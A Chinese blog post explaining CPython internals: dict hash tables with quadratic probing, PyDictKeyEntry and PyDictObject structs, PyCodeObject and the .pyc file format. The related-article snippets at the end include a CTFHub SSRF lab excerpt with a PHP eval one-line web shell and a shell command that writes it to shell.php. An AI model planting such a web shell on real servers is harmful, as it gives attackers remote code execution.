python解释器[源代码层面]

1 PyDictObject

在c++中STL中的map是基于 RB-tree平衡二元树实现,搜索的时间复杂度为O(log2n)

Python中PyDictObject是基于散列表(散列函数)实现,搜索时间最优为O(1)

1.1 散列列表

问题:散列冲突:多个元素计算得到相同的哈希值

解决方法:

(1)开链法

(2)开放地址法:二次探测法(python中用的)

通过增加一个二次函数形式的偏移量来查找下一个空闲位置。哈希表的大小为m,一个元素的初始位置由哈希函数 h(x)决定。若发生冲突,则将元素插入到位置 (h(x)+i^2)mod  m处,其中i是探测的步数。探测序列是一个二次序列,例如:1^2,(-1)^2,2^2,(-2)^2在表中寻找下一个可用位置。

从一个位置出发可依次到达多个位置,形成“冲突探测链”(注意删除链上元素导致的断链,采用伪删除技术。)

1.2 定义

typedef struct {/* Cached hash code of me_key. */Py_hash_t me_hash; //存储me_key的散列值,维护该值是避免每次查询时重新计算PyObject *me_key;PyObject *me_value; /* This field is only meaningful for combined tables */
} PyDictKeyEntry;

entry生存周期的四种状态

  1. unused态:me_key/me_value都是null(entry在初始化的时候)。
  2. Active态:entry存储了键值对的状态。
  3. Dummy态:me_key指向dummy对象(伪删除)。
  4. Pending态:键!=空,值=空(仅拆分),尚未插入到拆分表中。
/* The ma_values pointer is NULL for a combined table* or points to an array of PyObject* for a split table*/
typedef struct {PyObject_HEADPy_ssize_t ma_used;    /*字典中项的数量*/
#ifdef Py_BUILD_COREuint64_t ma_version_tag; /*表示字典中对象版本*/
#elsePy_DEPRECATED(3.12) uint64_t ma_version_tag; /*表示字典中对象版本*/
#endif/*若ma_values为空,则表是结合的,键与值都存储在ma_keys中*//*若ma_values不为空,则表是分开的,键存储在ma_keys中,值存储在ma_values*/PyDictKeysObject *ma_keys; /*实际存储数据的哈希表,具体有两种存储方式*/PyDictValues *ma_values; //根据两种存储方式决定是否有值
} PyDictObject;
struct _dictkeysobject {Py_ssize_t dk_refcnt;//引用计数器数目/* Size of the hash table (dk_indices). It must be a power of 2. */uint8_t dk_log2_size; //这张哈希表的大小(最大存储的元素的数目)/* Size of the hash table (dk_indices) by bytes. */uint8_t dk_log2_index_bytes; //哈希表大小的字节数/* Kind of keys */uint8_t dk_kind; //类型的键/* Version number -- Reset to 0 by any modification to keys */uint32_t dk_version; //版本号/* Number of usable entries in dk_entries. */Py_ssize_t dk_usable; //在dk_entries中可用的数量/* Number of used entries in dk_entries. */Py_ssize_t dk_nentries; //在dk_entries中使用的数量(8个字节)/* Actual hash table of dk_size entries. It holds indices in dk_entries,or DKIX_EMPTY(-1) or DKIX_DUMMY(-2).Indices must be: 0 <= indice < USABLE_FRACTION(dk_size).The size in bytes of an indice depends on dk_size:- 1 byte if dk_size <= 0xff (char*)- 2 bytes if dk_size <= 0xffff (int16_t*)- 4 bytes if dk_size <= 0xffffffff (int32_t*)- 8 bytes otherwise (int64_t*)Dynamically sized, SIZEOF_VOID_P is minimum. */char dk_indices[];  /* 索引,一个元素一个字节 *//* "PyDictKeyEntry or PyDictUnicodeEntry dk_entries[USABLE_FRACTION(DK_SIZE(dk))];" array follows:see the DK_ENTRIES() macro */
};

1.3 python3.6+的存储方法

  1. 第一条key-value,计算inx=hash(key)%num,num是索引表长,索引表中存放着对于enries的偏移量。
  2. 依据indices[inx]的值(偏移量)存放Hash value=hash(key)、key、value
  3. 若该位置已经有元素,则根据冲突解决策略找下一个空闲的索引。
  4. 查找键的时候同样流程,并比较键与值来确定是否需要所需元素。

---------------后续有必要再继续写---------------------------------------------------

2 解释器

2.1组成

编译器:得到字节码的编译结果(import py文件、import compileall、内建函数compile后会得到.pyc文件)

虚拟机:执行字节码

执行环境:字典对象,维护运行过程中动态创建的变量和变量名与变量值的映射。

2.2执行脚本流程

1.完成模块的加载和链接

2.将源代码编译为PyCodeObject对象,并将其写入内存,使得CPU快速读取,加快程序运行

注:字节码与PyCodeObject对象的关系?

        PyCodeObject对象包含字符串,常量值,操作(字节码)等静态信息(运行时存储在PyCodeObject对象中,运行结束后存储在pyc文件)

3.从内存空间中读取指定并执行(虚拟机完成)

编译器与虚拟机在:python .dll

4.程序结束后根据调用的操作指令决定是否也将PyCodeObject对象写入硬盘,即.pyc文件或.pyo文件。

5.下一次再执行该脚本,则先检查本地是否有上述.pyc文件。如有,则执行。

2.3PyCodeObject

struct PyCodeObject{                                                    \PyObject_VAR_HEAD                                                          \\/* Note only the following fields are used in hash and/or comparisons      \*                                                                         \* - co_name                                                               \* - co_argcount                                                           \* - co_posonlyargcount                                                    \* - co_kwonlyargcount                                                     \* - co_nlocals                                                            \* - co_stacksize                                                          \* - co_flags                                                              \* - co_firstlineno                                                        \* - co_consts                                                             \* - co_names                                                              \* - co_localsplusnames                                                    \* This is done to preserve the name and line number for tracebacks        \* and debuggers; otherwise, constant de-duplication would collapse        \* identical functions/lambdas defined on different lines.                 \*/                                                                        \\/* These fields are set with provided values on new code objects. */       \\/* The hottest fields (in the eval loop) are grouped here at the top. */   \PyObject *co_consts;           /* list (constants used) */                 \PyObject *co_names;            /* list of strings (names used) */          \PyObject *co_exceptiontable;   /* Byte string encoding exception handling  \table */                                 \int co_flags;                  /* CO_..., see below */                     \\/* The rest are not so impactful on performance. */                        \int co_argcount;              /* #arguments, except *args */               \int co_posonlyargcount;       /* #positional only arguments */             \int co_kwonlyargcount;        /* #keyword only arguments */                \int co_stacksize;             /* #entries needed for evaluation stack */   \int co_firstlineno;           /* first source line number */               \\/* redundant values (derived from co_localsplusnames and                   \co_localspluskinds) */                                                  \int co_nlocalsplus;           /* number of local + cell + free variables */ \int co_framesize;             /* Size of frame in words */                 \int co_nlocals;               /* number of local variables */              \int co_ncellvars;             /* total number of cell variables */         \int co_nfreevars;             /* number of free variables */               \uint32_t co_version;          /* version number */                         \\PyObject *co_localsplusnames; /* tuple mapping offsets to names */         \PyObject *co_localspluskinds; /* Bytes mapping to local kinds (one byte    \per variable) */                          \PyObject *co_filename;        /* unicode (where it was loaded from) */     \PyObject *co_name;            /* unicode (name, for reference) */          \PyObject *co_qualname;        /* unicode (qualname, for reference) */      \PyObject *co_linetable;       /* bytes object that holds location info */  \PyObject *co_weakreflist;     /* to support weakrefs to code objects */    \_PyCoCached *_co_cached;      /* cached co_* attributes */                 \uint64_t _co_instrumentation_version; /* current instrumentation version */  \_PyCoMonitoringData *_co_monitoring; /* Monitoring data */                 \int _co_firsttraceable;       /* index of first traceable instruction */   \/* Scratch space for extra data relating to the code object.               \Type is a void* to keep the format private in codeobject.c to force     \people to go through the proper APIs. */                                \void *co_extra;                                                            \char co_code_adaptive[(SIZE)];                                             \
}

1.一个命名空间对应一个PyCodeObject对象。

2.类、函数、module都对应一个独立的命名空间(存在嵌套关系)。

2.4pyc文件

pyc文件=magic number( 区别python版本)+pyc文件的最后一次修改时间(再次加载时判断是否修改过)+PyCodeObject对象。

2.5创建pyc文件的具体过程(把PyCodeObject对象写入文件)

-------------------------待写

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/51521.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ARM 寻址方式(18)

立即寻址&#xff1a; 也叫作立即数寻址。 就是 立即数&#xff0c;本身就包含在了 指令当中。 举例&#xff1a; ADD R0, R0,#1 其中&#xff0c;#1 &#xff0c; 就是立即数&#xff0c;对于16进制的立即数&#xff0c; 需要在# 后加上 #0x. 寄存器寻址。 就是数据就在…

Amos百度云下载与安装 附图文安装教程

如大家所了解的&#xff0c;Amos是一款经常被运用在社会科学研究中的数据分析软件&#xff0c;尤其广泛用于人文社会科学领域的各种研究中。运用Amos&#xff0c;可以帮助研究人员使用结构方程模型 (SEM) 对他们收集到的数据进行分析与解释。 自用Amos 24安装包&#xff0c;可按…

数据结构与算法(循环链表,双向链表)

循环链表 最后一个元素指向首元素 带尾指针的循环链表合并 双向链表 双向链表:在单链表的每个结点里再增加一个指向其直接前驱的指针 域 prior &#xff0c;这样链表中就形成了有两个方向不同的链&#xff0c;故称为双向链表 双向链表插入操作 思路 代码 删除操作 思路 代…

CTFHub SSRF靶场通关攻略(6-11)

FastCGI协议 首先写一个php的一句话木马&#xff0c;并进行base64编码 <?php eval($_POST[cmd]);?> 编码完成后把他写入shell.php文件中 echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8" | base64 -d > shell.php 使用Gopherus工具生成payload: 执命令 …

【工控】线扫相机小结

背景简介 我目前接触到的线扫相机有两种形式: 无采集卡,数据通过网线传输。 配备采集卡,使用PCIe接口。 第一种形式的数据通过网线传输,速度较慢,因此扫描和生成图像的速度都较慢,参数设置主要集中在相机本身。第二种形式的相机配备采集卡,通常速度更快,但由于相机和…

Clickhouse集群化(三)集群化部署

1. 准备 clickhouse支持副本和分片的能力&#xff0c;但是自身无法实现需要借助zookeeper或者clickhouse-keeper来实现不同节点之间数据同步&#xff0c;同时clickhouse的数据是最终一致性 。 2. Zookeeper 副本的写入流程 没有主从概念 平等地位 互为副本 2.1. 部署zookeep…

Mysql高级 [Linux版] 性能优化 数据库系统配置优化 和 MySQL的执行顺序 以及 Mysql执行引擎介绍

数据库系统配置优化 1、定义 数据库是基于操作系统的&#xff0c;目前大多数MySQL都是安装在linux系统之上&#xff0c;所以对于操作系统的一些参数配置也会影响到MySQL的性能&#xff0c;下面就列出一些常用的系统配置。 2、优化配置参数-操作系统 优化包括操作系统的优化及My…

C# UserControl、Dockpanel和DockContent、Cursor、

一、UserControl类 UserControl 是 .NET 中的一个基类&#xff0c;用于创建自定义控件&#xff0c;主要用于 Windows Forms 和 WPF。通过继承 UserControl&#xff0c;你可以设计和实现具有特定界面和功能的控件组件。UserControl 允许你将多个标准控件组合在一起&#xff0c;…

设备共享租赁小程序系统开发制作方案

设备共享租赁小程序系统让用户方便地租赁或出租各类设备&#xff0c;包括但不限于工具、电子产品、运动器材等&#xff0c;以满足临时使用需求&#xff0c;同时为设备所有者创造额外收益。 目标用户 个人用户&#xff1a;需要临时使用工具、车辆等设备的个人。 企业用户&#…

73 OSPF图解LSA(华三)

71 OSPF多区域实验(华三)-CSDN博客文章浏览阅读166次,点赞8次,收藏3次。实操https://blog.csdn.net/qq_56248592/article/details/141563010?spm=1001.2014.3001.5501 一 基础配置省略 上次的原图基础上扩展

C++ JAVA源码 HMAC计算 openssl 消息认证码计算 https消息防篡改 通信安全

签名和验签 把所有消息按顺序合并成一条信息&#xff0c;对这个信息用密钥进行签名。 签名信息通过 HTTP 头 Sign 传递&#xff0c;没有携带签名或者签名验证不通过的请求&#xff0c;将会被认为异常请求&#xff0c;并返回相应 code 码。 校验方法&#xff1a;根据 http请求…

重塑视频监控体验:WebRTC技术如何赋能智慧工厂视频高效管理场景

视频汇聚EasyCVR视频监控平台&#xff0c;作为一款智能视频监控综合管理平台&#xff0c;凭借其强大的视频融合汇聚能力和灵活的视频能力&#xff0c;在各行各业的应用中发挥着越来越重要的作用。 EasyCVR平台不仅兼容多种主流标准协议及私有协议/SDK的接入&#xff08;如&…

mysql高可用之组复制 (MGR)

目录 1 MySQL的主从复制介绍 2 组复制流程 3 组复制单主和多主模式 3.1 single-primary mode(单写或单主模式) 3.2 multi-primary mode(多写或多主模式) 4 实现mysql组复制 4.1 MASTER 1 4.2 MASTER 2 4.3 MASTER 3 4.4 MASTER 1 检验 1 MySQL的主从复制介绍 MySQL Group Rep…

【Linux】初步识操作系统

linux专栏&#xff1a;《Linux入门系列》 系列文章&#xff1a;gdb-调试器初入门&#xff08;简单版使用&#xff09; 编辑器vim入门&#xff08;概念模式转换技巧&#xff09; 目录 1. 概念 2. 设计操作系统的目的 3. 定位&#xff1a;操作系统负责管理 4. 如何理解管理 …

使用IntelliJ IDEA将本地项目推送到远程Git

1&#xff0c;安装Git 打开 下载地址&#xff0c;下载Git安装包。根据引导程序&#xff0c;完成安装。 2&#xff0c;IntelliJ IDEA配置Git 打开IntelliJ IDEA&#xff0c;依次点击File>>Settings…>>Git&#xff0c;然后配置自己的Git的路径&#xff0c;然后点…

mysql 死锁 锁表的解决方法

查看那个表锁了 SHOW OPEN TABLES where In_use > 0; show processlist SELECT * FROM information_schema.INNODB_TRX; 查看锁的进程 kill 掉进程id (trx_mysql_thread_id)

PCIE-Precode

Transmitter Precode Request: Precoding可以有效的降低Burst errors&#xff08;突发连续&#xff09;的影响&#xff0c;但是Bit Error Rate&#xff08;BER&#xff09;将上升为之前的两倍. ​​​​​​[FPGA 实现及PCIe IP 核知识点] PCIe为什么要增加Precoding&#xff…

趣味算法------拯救阿拉德大陆

目录 ​编辑 题目描述&#xff1a; 思路解析&#xff1a; 具体代码&#xff1a; 总结&#xff1a; 题目描述&#xff1a; 此时一批勇士也随之而来&#xff0c;但其能力也是参差不齐&#xff0c;我们需要挑选出最优秀的勇士来守护这片大陆。每位勇士都有属于自己的编号&am…

网络安全售前入门04——审计类产品了解

目录 1.前言 2.数据库审计介绍 2.1产品架构功能 2.2应用场景 2.3部署形式 2.4产品价值 2.5选型依据 1.前言 为方便初接触网络安全售前工作的小伙伴了解网安行业情况,我制作一系统售前入门(安全产品,安全服务,法律法规等)文章介绍,希望能给初进网安职场的小伙伴提供…

上书房信息咨询:医疗满意度调研

随着人们生活水平的不断提高&#xff0c;医疗服务的需求日益增长。近期&#xff0c;上书房信息咨询受托完成了某市医疗市场的满意度调研&#xff0c;旨在深入了解市民对医疗服务的评价和需求&#xff0c;为提升医疗服务质量提供有力支持。 近年来&#xff0c;某市致力于推进医…